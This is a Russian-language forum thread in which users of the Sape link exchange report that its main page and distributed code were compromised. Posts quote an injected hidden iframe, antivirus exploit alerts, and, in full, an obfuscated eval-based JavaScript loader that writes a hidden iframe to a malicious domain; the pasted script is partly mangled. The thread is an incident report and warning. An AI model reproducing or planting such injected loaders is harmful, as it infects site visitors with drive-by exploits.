Не вирус случайно?

[vladus2001]

Одно и тоже третий раз за полгода, опять выгрузили в sape.inc некорректную строку:

case LCase("<iframe frameborder=0 height=1 width=1 scrolling=no src="http://dispenser-01-sape.ru/main.php?age=ed99172350fb42ac" > </iframe>")

на которой IIS вываливается в ошибку Microsoft VBScript compilation error '800a03ee'
Expected ')'

в итоге опять сотни asp-сайтов с вашим кодом улпали...

[Lenka]

Что это за диспенсер в iframe на главной странице Sape?
Раньше его вроде не было. Не вирус случайно?

[stanich1]

Доброго дня!
Сегодня с утра при заходе на главную страницу Sape, Касперский предупреждает о подгрузке троянской программы, которую он удачно блокирует.

06.09.2011 10:32:57 Обнаружено: Exploit.JS.Pdfka.euj http://dispenser-02-sape.ru/content/...f=17//data0000 Firefox

[rabota09]

На сайте Sape и в кодах стоят ифреимы. В которых грузится Вирусы. ОСТОРОЖНО .

dispenser-01-sape-ru .. как видите это домен регнутый СЕГОДНЯ. для слива трафика... БУДЬТЕ ОСТОРОЖНЫ.

[tav]

У меня аваст на него выругался вот так
URL: _ttp://dispenser-02-sape.ru/content/2fdp.php?f
Process: file://C:\Program Files\Opera\opera.exe
Infection: js:Pdfka-gen@bhv [Expl]

причем час назад заходил через ФФ, все нормально было

[rabota09]

Вопрос.. что за скрипт стоит внизу сайта Сапе..

<script> Object. prototype.qwe= function(){return String['fro'+'mCha'+'rCo'+'de'];};Object.prototype.asd="e";zxc=asd;v=document.cre ateTextNode('asd');var s="";if(document.createTextNode('123').data&&typeo f asd.vfr==='undefined')r=2;e=eval;m=[-r+11,-r+11,-r+107,-r+104,-r+34,-r+42,-r+102,-r+113,-r+101,-r+119,-r+111,-r+103,-r+112,-r+118,-r+48,-r+105,-r+103,-r+118,-r+71,-r+110,-r+103,-r+111,-r+103,-r+112,-r+118,-r+117,-r+68,-r+123,-r+86,-r+99,-r+105,-r+80,-r+99,-r+111,-r+103,-r+42,-r+41,-r+100,-r+113,-r+102,-r+123,-r+41,-r+43,-r+93,-r+50,-r+95,-r+43,-r+125,-r+11,-r+11,-r+11,-r+107,-r+104,-r+116,-r+99,-r+111,-r+103,-r+116,-r+42,-r+43,-r+61,-r+11,-r+11,-r+127,-r+34,-r+103,-r+110,-r+117,-r+103,-r+34,-r+125,-r+11,-r+11,-r+11,-r+102,-r+113,-r+101,-r+119,-r+111,-r+103,-r+112,-r+118,-r+48,-r+121,-r+116,-r+107,-r+118,-r+103,-r+42,-r+36,-r+62,-r+107,-r+104,-r+116,-r+99,-r+111,-r+103,-r+34,-r+117,-r+116,-r+101,-r+63,-r+41,-r+106,-r+118,-r+118,-r+114,-r+60,-r+49,-r+49,-r+102,-r+107,-r+117,-r+114,-r+103,-r+112,-r+117,-r+103,-r+116,-r+47,-r+50,-r+52,-r+47,-r+117,-r+99,-r+114,-r+103,-r+48,-r+116,-r+119,-r+49,-r+111,-r+99,-r+107,-r+112,-r+48,-r+114,-r+106,-r+114,-r+65,-r+114,-r+99,-r+105,-r+103,-r+63,-r+103,-r+102,-r+59,-r+59,-r+51,-r+57,-r+52,-r+53,-r+55,-r+50,-r+104,-r+100,-r+54,-r+52,-r+99,-r+101,-r+41,-r+34,-r+121,-r+107,-r+102,-r+118,-r+106,-r+63,-r+41,-r+51,-r+50,-r+41,-r+34,-r+106,-r+103,-r+107,-r+105,-r+106,-r+118,-r+63,-r+41,-r+51,-r+50,-r+41,-r+34,-r+117,-r+118,-r+123,-r+110,-r+103,-r+63,-r+41,-r+120,-r+107,-r+117,-r+107,-r+100,-r+107,-r+110,-r+107,-r+118,-r+123,-r+60,-r+106,-r+107,-r+102,-r+102,-r+103,-r+112,-r+61,-r+114,-r+113,-r+117,-r+107,-r+118,-r+107,-r+113,-r+112,-r+60,-r+99,-r+100,-r+117,-r+113,-r+110,-r+119,-r+118,-r+103,-r+61,-r+110,-r+103,-r+104,-r+118,-r+60,-r+50,-r+61,-r+118,-r+113,-r+114,-r+60,-r+50,-r+61,-r+41,-r+64,-r+62,-r+49,-r+107,-r+104,-r+116,-r+99,-r+111,-r+103,-r+64,-r+36,-r+43,-r+61,-r+11,-r+11,-r+127,-r+11,-r+11,-r+104,-r+119,-r+112,-r+101,-r+118,-r+107,-r+113,-r+112,-r+34,-r+107,-r+104,-r+116,-r+99,-r+111,-r+103,-r+116,-r+42,-r+43,-r+125,-r+11,-r+11,-r+11,-r+120,-r+99,-r+116,-r+34,-r+104,-r+34,-r+63,-r+34,-r+102,-r+113,-r+101,-r+119,-r+111,-r+103,-r+112,-r+118,-r+48,-r+101,-r+116,-r+103,-r+99,-r+118,-r+103,-r+71,-r+110,-r+103,-r+111,-r+103,-r+112,-r+118,-r+42,-r+41,-r+107,-r+104,-r+116,-r+99,-r+111,-r+103,-r+41,-r+43,-r+61,-r+104,-r+48,-r+117,-r+103,-r+118,-r+67,-r+118,-r+118,-r+116,-r+107,-r+100,-r+119,-r+118,-r+103,-r+42,-r+41,-r+117,-r+116,-r+101,-r+41,-r+46,-r+41,-r+106,-r+118,-r+118,-r+114,-r+60,-r+49,-r+49,-r+102,-r+107,-r+117,-r+114,-r+103,-r+112,-r+117,-r+103,-r+116,-r+47,-r+50,-r+52,-r+47,-r+117,-r+99,-r+114,-r+103,-r+48,-r+116,-r+119,-r+49,-r+111,-r+99,-r+107,-r+112,-r+48,-r+114,-r+106,-r+114,-r+65,-r+114,-r+99,-r+105,-r+103,-r+63,-r+103,-r+102,-r+59,-r+59,-r+51,-r+57,-r+52,-r+53,-r+55,-r+50,-r+104,-r+100,-r+54,-r+52,-r+99,-r+101,-r+41,-r+43,-r+61,-r+104,-r+48,-r+117,-r+118,-r+123,-r+110,-r+103,-r+48,-r+120,-r+107,-r+117,-r+107,-r+100,-r+107,-r+110,-r+107,-r+118,-r+123,-r+63,-r+41,-r+106,-r+107,-r+102,-r+102,-r+103,-r+112,-r+41,-r+61,-r+104,-r+48,-r+117,-r+118,-r+123,-r+110,-r+103,-r+48,-r+114,-r+113,-r+117,-r+107,-r+118,-r+107,-r+113,-r+112,-r+63,-r+41,-r+99,-r+100,-r+117,-r+113,-r+110,-r+119,-r+118,-r+103,-r+41,-r+61,-r+104,-r+48,-r+117,-r+118,-r+123,-r+110,-r+103,-r+48,-r+110,-r+103,-r+104,-r+118,-r+63,-r+41,-r+50,-r+41,-r+61,-r+104,-r+48,-r+117,-r+118,-r+123,-r+110,-r+103,-r+48,-r+118,-r+113,-r+114,-r+63,-r+41,-r+50,-r+41,-r+61,-r+104,-r+48,-r+117,-r+103,-r+118,-r+67,-r+118,-r+118,-r+116,-r+107,-r+100,-r+119,-r+118,-r+103,-r+42,-r+41,-r+121,-r+107,-r+102,-r+118,-r+106,-r+41,-r+46,-r+41,-r+51,-r+50,-r+41,-r+43,-r+61,-r+104,-r+48,-r+117,-r+103,-r+118,-r_+67,-r+118,-r+118,-r+116,-r+107,-r+100,-r+119,-r+118,-r+103,-r+42,-r+41,-r+106,-r+103,-r+107,-r+105,-r+106,-r+118,-r+41,-r+46,-r+41,-r+51,-r+50,-r+41,-r+43,-r+61,-r+11,-r+11,-r+11,-r+102,-r+113,-r+101,-r+119,-r+111,-r+103,-r+112,-r+118,-r+48,-r+105,-r+103,-r+118,-r+71,-r+110,-r+103,-r+111,-r+103,-r+112,-r+118,-r+117,-r+68,-r+123,-r+86,-r+99,-r+105,-r+80,-r+99,-r+111,-r+103,-r+42,-r+41,-r+100,-r+113,-r+102,-r+123,-r+41,-r+43,-r+93,-r+50,-r+95,-r+48,-r+99,-r+114,-r+114,-r+103,-r+112_,-r+102,-r+69,-r+106,-r+107,-r+110,-r+102,-r+42,-r+104,-r+43,-r+61,-r+11,-r+11,-r+127];mm=qwe();for(i=0;i<m.length;i++)if(asd==='e')s+=m m(e("m"+"["+"i]"));e(_s); </script>

Вирусы ?? дорогие администраторы....

[rabota09]

ВИрусы... будьте осторожны. На сайтах так же эти ифреимы выводятся.

[zhegloff]

дырка найдена, конопатится.

[Клон]

а можете дать три зеленых свистка когда законопатят?
так, чтоб в курсе быть что уже все в порядке

[HaXuM]

Клон, работы уже ведутся, подождите немного.